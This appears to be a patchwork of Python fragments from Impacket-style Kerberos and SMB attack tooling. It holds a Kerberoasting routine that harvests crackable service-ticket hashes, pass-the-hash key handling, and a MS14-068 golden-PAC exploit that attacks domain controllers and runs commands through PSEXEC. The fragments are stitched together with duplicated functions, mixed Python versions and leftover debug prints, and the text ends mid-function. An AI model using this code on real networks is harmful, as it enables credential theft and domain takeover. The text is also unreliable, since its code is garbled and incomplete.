def getTGT(self):
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
pass
else:
domain = self.__domain
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
module.log('Using TGT from cache', level='debug')
return TGT
else:
module.log('No valid credentials found in cache', level='debug')
# No TGT in cache, request it
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
# In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
# cleartext password.
# If no clear text password is provided, we just go with the defaults.
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain,
compute_lmhash(password),
compute_nthash(password), self.__aesKey,
kdcHost=self.__kdcHost)
except Exception, e:
module.log('Exception for getKerberosTGT', level='error')
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash),
unhexlify(self.__nthash), self.__aesKey,
kdcHost=self.__kdcHost)
def getTGT(self):
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if self.__domain == '':
domain = ccache.principal.realm['data']
else:
domain = self.__domain
logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logging.debug('Using TGT from cache')
return TGT
else:
logging.debug("No valid credentials found in cache. ")
# No TGT in cache, request it
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
# In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
# cleartext password.
# If no clear text password is provided, we just go with the defaults.
if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''):
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain,
compute_lmhash(self.__password),
compute_nthash(self.__password), self.__aesKey,
kdcHost=self.__kdcHost)
except Exception as e:
logging.debug('TGT: %s' % str(e))
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash),
unhexlify(self.__nthash), self.__aesKey,
kdcHost=self.__kdcHost)
else:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash),
unhexlify(self.__nthash), self.__aesKey,
kdcHost=self.__kdcHost)
TGT = {}
TGT['KDC_REP'] = tgt
TGT['cipher'] = cipher
TGT['sessionKey'] = sessionKey
return TGT
server = smbserver.SimpleSMBServer(listenAddress=options.interface_address,
listenPort=int(options.port))
server.addShare(options.shareName.upper(), options.sharePath, comment)
server.setSMB2Support(options.smb2support)
# If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous
# connections will be allowed
if options.username is not None:
# we either need a password or hashes, if not, ask
if options.password is None and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
# Let's convert to hashes
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
elif options.password is not None:
lmhash = compute_lmhash(options.password)
nthash = compute_nthash(options.password)
else:
lmhash, nthash = options.hashes.split(':')
server.addCredential(options.username, 0, lmhash, nthash)
# Here you can set a custom SMB challenge in hex format
# If empty defaults to '4141414141414141'
# (remember: must be 16 hex bytes long)
# e.g. server.setSMBChallenge('12345678abcdef00')
server.setSMBChallenge('')
def exploit(self):
self.__domainSid, self.__rid = self.getUserSID()
userName = Principal(
self.__username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
None,
self.__kdcHost,
requestPAC=False)
except KerberosError, e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
raise
else:
raise
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(
str(pa['padata-value'])[2:],
asn1Spec=ETYPE_INFO2_ENTRY())[0]
enctype = etype2['etype']
salt = str(etype2['salt'])
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype, self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, str(cipherText))
encASRepPart = decoder.decode(plainText,
asn1Spec=EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal(
'krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(
serverName, domain, self.__kdcHost, tgt, cipher, sessionKey,
authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal(
'cifs/%s' % self.__target,
type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(
serverName, domain, self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError, e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
raise
else:
raise
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype', ((int(cipher.enctype), )))
try:
tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)
except Exception, e:
if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0:
if lmhash is '' and nthash is '' and (aesKey is ''
or aesKey is None):
from impacket.ntlm import compute_lmhash, compute_nthash
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
return getKerberosTGT(clientName, password, domain, lmhash,
nthash, aesKey, kdcHost, requestPAC)
raise
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
plainText = cipher.decrypt(key, 3, str(cipherText))
comment = options.comment
server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port))
server.addShare(options.shareName.upper(), options.sharePath, comment)
server.setSMB2Support(options.smb2support)
# If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous
# connections will be allowed
if options.username is not None:
# we either need a password or hashes, if not, ask
if options.password is None and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
# Let's convert to hashes
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
elif options.password is not None:
lmhash = compute_lmhash(options.password)
nthash = compute_nthash(options.password)
else:
lmhash, nthash = options.hashes.split(':')
server.addCredential(options.username, 0, lmhash, nthash)
# Here you can set a custom SMB challenge in hex format
# If empty defaults to '4141414141414141'
# (remember: must be 16 hex bytes long)
# e.g. server.setSMBChallenge('12345678abcdef00')
server.setSMBChallenge('')
def exploit(self):
self.__domainSid, self.__rid = self.getUserSID()
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False)
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
raise
else:
raise
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
enctype = etype2['etype']
salt = str(etype2['salt'])
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype,self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, str(cipherText))
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey)
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
raise
else:
raise
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
TGS=None, useCache=True):
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: None, raises a Session Error if error.
"""
import os
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import KerberosError
from impacket.krb5 import constants
from impacket.ntlm import compute_lmhash, compute_nthash
if TGT is not None or TGS is not None:
useCache = False
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if user == '' and len(ccache.principal.components) > 0:
user=ccache.principal.components[0]['data']
if domain == '':
domain = ccache.principal.realm['data']
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'cifs/%s@%s' % (self.getRemoteHost().upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS()
LOG.debug('Using TGS from cache')
while True:
try:
if self.getDialect() == smb.SMB_DIALECT:
return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost,
TGT, TGS)
return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT,
TGS)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise e
else:
raise e
def enumSPNUsers(self):
users_spn = {}
user_tickets = {}
userDomain = self.domuser.split('@')[1]
idx = 0
for entry in self.spn:
spn = json.loads(self.spn[idx].entry_to_json())
users_spn[self.splitJsonArr(
spn['attributes'].get('name'))] = self.splitJsonArr(
spn['attributes'].get('servicePrincipalName'))
idx += 1
# Get TGT for the supplied user
client = Principal(self.domuser,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
# We need to take the domain from the user@domain since it *could* be a cross-domain user
tgt, cipher, oldSession, newSession = getKerberosTGT(
client,
'',
userDomain,
compute_lmhash(self.passwd),
compute_nthash(self.passwd),
None,
kdcHost=None)
TGT = {}
TGT['KDC_REP'] = tgt
TGT['cipher'] = cipher
TGT['sessionKey'] = newSession
for user, spns in users_spn.items():
if isinstance(spns, list):
# We only really need one to get a ticket
spn = spns[0]
else:
spn = spns
try:
# Get the TGS
serverName = Principal(
spn,
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSession, newSession = getKerberosTGS(
serverName, userDomain, None, TGT['KDC_REP'],
TGT['cipher'], TGT['sessionKey'])
# Decode the TGS
decoded = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
# Get different encryption types
if decoded['ticket']['enc-part'][
'etype'] == constants.EncryptionTypes.rc4_hmac.value:
entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format(
constants.EncryptionTypes.rc4_hmac.value, user,
decoded['ticket']['realm'],
spn.replace(':', '~'),
hexlify(decoded['ticket']['enc-part']['cipher']
[:16].asOctets()).decode(),
hexlify(decoded['ticket']['enc-part']['cipher']
[16:].asOctets()).decode())
user_tickets[spn] = entry
elif decoded['ticket']['enc-part'][
'etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format(
constants.EncryptionTypes.
aes128_cts_hmac_sha1_96.value, user,
decoded['ticket']['realm'],
spn.replace(':', '~'),
hexlify(decoded['ticket']['enc-part']['cipher']
[-12:].asOctets()).decode(),
hexlify(decoded['ticket']['enc-part']['cipher']
[:-12].asOctets()).decode())
user_tickets[spn] = entry
elif decoded['ticket']['enc-part'][
'etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format(
constants.EncryptionTypes.
aes256_cts_hmac_sha1_96.value, user,
decoded['ticket']['realm'],
spn.replace(':', '~'),
hexlify(decoded['ticket']['enc-part']['cipher']
[-12:].asOctets()).decode(),
hexlify(decoded['ticket']['enc-part']['cipher']
[:-12].asOctets()).decode())
user_tickets[spn] = entry
elif decoded['ticket']['enc-part'][
'etype'] == constants.EncryptionTypes.des_cbc_md5.value:
entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format(
constants.EncryptionTypes.des_cbc_md5.value,
user, decoded['ticket']['realm'],
spn.replace(':', '~'),
hexlify(decoded['ticket']['enc-part']['cipher']
[:16].asOctets()).decode(),
hexlify(decoded['ticket']['enc-part']['cipher']
[16:].asOctets()).decode())
user_tickets[spn] = entry
except KerberosError:
# For now continue
# TODO: Maybe look deeper into issue here
continue
if len(user_tickets.keys()) > 0:
with open('{0}-spn-tickets'.format(self.server), 'w') as f:
for key, value in user_tickets.items():
f.write('{0}:{1}\n'.format(key, value))
if len(user_tickets.keys()) == 1:
print('[ ' + colored('OK', 'yellow') +
' ] Got and wrote {0} ticket for Kerberoasting'.
format(len(user_tickets.keys())))
else:
print('[ ' + colored('OK', 'yellow') +
' ] Got and wrote {0} tickets for Kerberoasting'.
format(len(user_tickets.keys())))
else:
print('[ ' + colored('OK', 'green') +
' ] Got {0} tickets for Kerberoasting'.format(
len(user_tickets.keys())))
except KerberosError as err:
print('[ ' + colored('ERROR', 'red') +
' ] Kerberoasting failed with error: {0}'.format(
err.getErrorString()[1]))
pass
def exploit(self):
if self.__kdcHost is None:
getDCs = True
self.__kdcHost = self.__domain
else:
getDCs = False
self.__domainSid, self.__rid = self.getUserSID()
try:
self.__forestSid = self.getForestSid()
except Exception as e:
# For some reason we couldn't get the forest data. No problem, we can still continue
# Only drawback is we won't get forest admin if successful
logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
self.__forestSid = None
if getDCs is False:
# User specified a DC already, no need to get the list
self.__domainControllers.append(self.__kdcHost)
else:
self.__domainControllers = self.getDomainControllers()
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
for dc in self.__domainControllers:
logging.info('Attacking domain controller %s' % dc)
self.__kdcHost = dc
exception = None
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
self.__lmhash, self.__nthash, None,
self.__kdcHost, requestPAC=False)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash == '' and self.__nthash == '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
exception = str(e)
break
else:
exception = str(e)
break
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
salt = etype2['salt'].prettyPrint()
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype,self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, cipherText)
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal('krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
cipher, sessionKey, authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash == '' and self.__nthash == '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
exception = str(e)
break
else:
exception = str(e)
break
else:
# Everything went well, let's save the ticket if asked and leave
if self.__writeTGT is not None:
from impacket.krb5.ccache import CCache
ccache = CCache()
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.saveFile(self.__writeTGT)
break
if exception is None:
# Success!
logging.info('%s found vulnerable!' % dc)
break
else:
logging.info('%s seems not vulnerable (%s)' % (dc, exception))
if exception is None:
TGS = {}
TGS['KDC_REP'] = tgsCIFS
TGS['cipher'] = cipher
TGS['oldSessionKey'] = oldSessionKeyCIFS
TGS['sessionKey'] = sessionKeyCIFS
from impacket.smbconnection import SMBConnection
if self.__targetIp is None:
s = SMBConnection('*SMBSERVER', self.__target)
else:
s = SMBConnection('*SMBSERVER', self.__targetIp)
s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
useCache=False)
if self.__command != 'None':
executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
executer.run(self.__target)
def getKerberosTGT(clientName,
password,
domain,
lmhash,
nthash,
aesKey='',
kdcHost=None,
requestPAC=True):
asReq = AS_REQ()
domain = domain.upper()
serverName = Principal('krbtgt/%s' % domain,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
encodedPacRequest = encoder.encode(pacRequest)
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = None
asReq['padata'][0] = None
asReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][0]['padata-value'] = encodedPacRequest
reqBody = seq_set(asReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
if domain == '':
raise Exception('Empty Domain not allowed in Kerberos')
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
# Yes.. this shouldn't happend but it's inherited from the past
if aesKey is None:
aesKey = ''
if nthash == '':
# This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough,
# but I found some systems that accepts all ciphers, and trigger an error
# when requesting subsequent TGS :(. More research needed.
# So, in order to support more than one cypher, I'm setting aes first
# since most of the systems would accept it. If we're lucky and
# KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4.
if aesKey != '':
if len(aesKey) == 64:
supportedCiphers = (int(
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), )
else:
supportedCiphers = (int(
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), )
else:
supportedCiphers = (int(
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), )
else:
# We have hashes to try, only way is to request RC4 only
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value), )
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
try:
r = sendReceive(message, domain, kdcHost)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
if supportedCiphers[0] in (
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value,
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
) and aesKey is '':
supportedCiphers = (int(
constants.EncryptionTypes.rc4_hmac.value), )
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
r = sendReceive(message, domain, kdcHost)
else:
raise
else:
raise
# This should be the PREAUTH_FAILED packet
asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0]
salt = b''
encryptionTypesData = dict()
for method in methods:
if method[
'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etypes2 = decoder.decode(method['padata-value'],
asn1Spec=ETYPE_INFO2())[0]
for etype2 in etypes2:
if etype2['salt'] is None:
salt = ''
else:
salt = str(etype2['salt'])
encryptionTypesData[etype2['etype']] = salt
elif method[
'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value:
etypes = decoder.decode(str(method['padata-value']),
asn1Spec=ETYPE_INFO())[0]
for etype in etypes:
if etype['salt'] is None:
salt = ''
else:
salt = str(etype['salt'])
encryptionTypesData[etype['etype']] = salt
enctype = supportedCiphers[0]
if enctype not in encryptionTypesData:
raise Exception('No Encryption Data Available!')
# Let's build the timestamp
timeStamp = PA_ENC_TS_ENC()
now = datetime.datetime.utcnow()
timeStamp['patimestamp'] = KerberosTime.to_asn1(now)
timeStamp['pausec'] = now.microsecond
# Encrypt the shyte
cipher = _enctype_table[enctype]
# Pass the hash/aes key :P
if nthash != '':
print('here1')
key = Key(cipher.enctype, nthash)
elif aesKey != '':
print('here2')
key = Key(cipher.enctype, unhexlify(aesKey))
else:
print('here3')
key = cipher.string_to_key(password, encryptionTypesData[enctype],
None)
encodedTimeStamp = encoder.encode(timeStamp)
# Key Usage 1
# AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
# client key (Section 5.2.7.2)
encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)
encryptedData = EncryptedData()
encryptedData['etype'] = cipher.enctype
encryptedData['cipher'] = encriptedTimeStamp
encodedEncryptedData = encoder.encode(encryptedData)
# Now prepare the new AS_REQ again with the PADATA
# ToDo: cannot we reuse the previous one?
asReq = AS_REQ()
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = None
asReq['padata'][0] = None
asReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)
asReq['padata'][0]['padata-value'] = encodedEncryptedData
asReq['padata'][1] = None
asReq['padata'][1]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][1]['padata-value'] = encodedPacRequest
reqBody = seq_set(asReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype', ((int(cipher.enctype), )))
try:
tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)
except Exception as e:
if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0:
if lmhash is '' and nthash is '' and (aesKey is ''
or aesKey is None):
from impacket.ntlm import compute_lmhash, compute_nthash
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
return getKerberosTGT(clientName, password, domain, lmhash,
nthash, aesKey, kdcHost, requestPAC)
raise
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
from .crypto import bytify
print('cypherText: {}'.format(repr(str(cipherText))))
plainText = cipher.decrypt(key, 3, bytes(cipherText))
encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0]
# Get the session key and the ticket
# We're assuming the cipher for this session key is the same
# as the one we used before.
# ToDo: change this
sessionKey = Key(cipher.enctype, bytes(encASRepPart['key']['keyvalue']))
# ToDo: Check Nonces!
return tgt, cipher, key, sessionKey
class MS14_068:
# 6.1. Unkeyed Checksums
# Vulnerable DCs are accepting at least these unkeyed checksum types
CRC_32 = 1
RSA_MD4 = 2
RSA_MD5 = 7
class VALIDATION_INFO(TypeSerialization1):
structure = (
('Data', PKERB_VALIDATION_INFO),
)
def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='',
copyFile=None, writeTGT=None, kdcHost=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__rid = 0
self.__lmhash = ''
self.__nthash = ''
self.__target = target
self.__targetIp = targetIp
self.__kdcHost = None
self.__copyFile = copyFile
self.__command = command
self.__writeTGT = writeTGT
self.__domainSid = ''
self.__forestSid = None
self.__domainControllers = list()
self.__kdcHost = kdcHost
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
self.__lmhash = unhexlify(self.__lmhash)
self.__nthash = unhexlify(self.__nthash)
def getGoldenPAC(self, authTime):
# Ok.. we need to build a PAC_TYPE with the following items
# 1) KERB_VALIDATION_INFO
